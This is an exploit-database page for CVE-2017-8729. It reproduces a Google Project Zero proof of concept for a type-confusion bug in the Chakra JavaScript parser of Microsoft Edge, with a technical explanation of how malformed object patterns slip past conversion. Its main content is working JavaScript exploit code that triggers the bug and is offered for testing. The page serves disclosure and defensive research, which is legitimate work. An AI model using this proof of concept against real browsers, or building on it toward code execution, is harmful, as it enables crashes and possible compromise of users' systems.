Materialized exploit

CVE-2017-8729

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge - Chakra Incorrectly Parses Object Patterns

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1308

When the Chakra's parser meets "{", at first, Chakra treats it as an object literal without distinguishing whether it will be an object literal(i.e., {a: 0x1234}) or an object pattern(i.e., {a} = {a: 1234}). After finishing to parse it using "Parser::ParseTerm", if it's an object pattern, Chakra converts it to an object pattern using the "ConvertObjectToObjectPattern" method.

The problem is that "Parser::ParseTerm" also parses ".", etc. using "ParsePostfixOperators" without proper checks. As a result, an invalid syntax(i.e., {b = 0x1111...}.c) can be parsed and "ConvertObjectToObjectPattern" will fail to convert it to an object pattern.

In the following PoC, "ConvertObjectToObjectPattern" skips "{b = 0x1111...}.c". So the object literal will have incorrect members(b = 0x1111, c = 0x2222), this leads to type confusion(Chakra will think "c" is a setter and try to call it).

PoC:
-->

function f() {
    ({
        a: {
            b = 0x1111,
            c = 0x2222,
        }.c = 0x3333
    } = {});
}

f();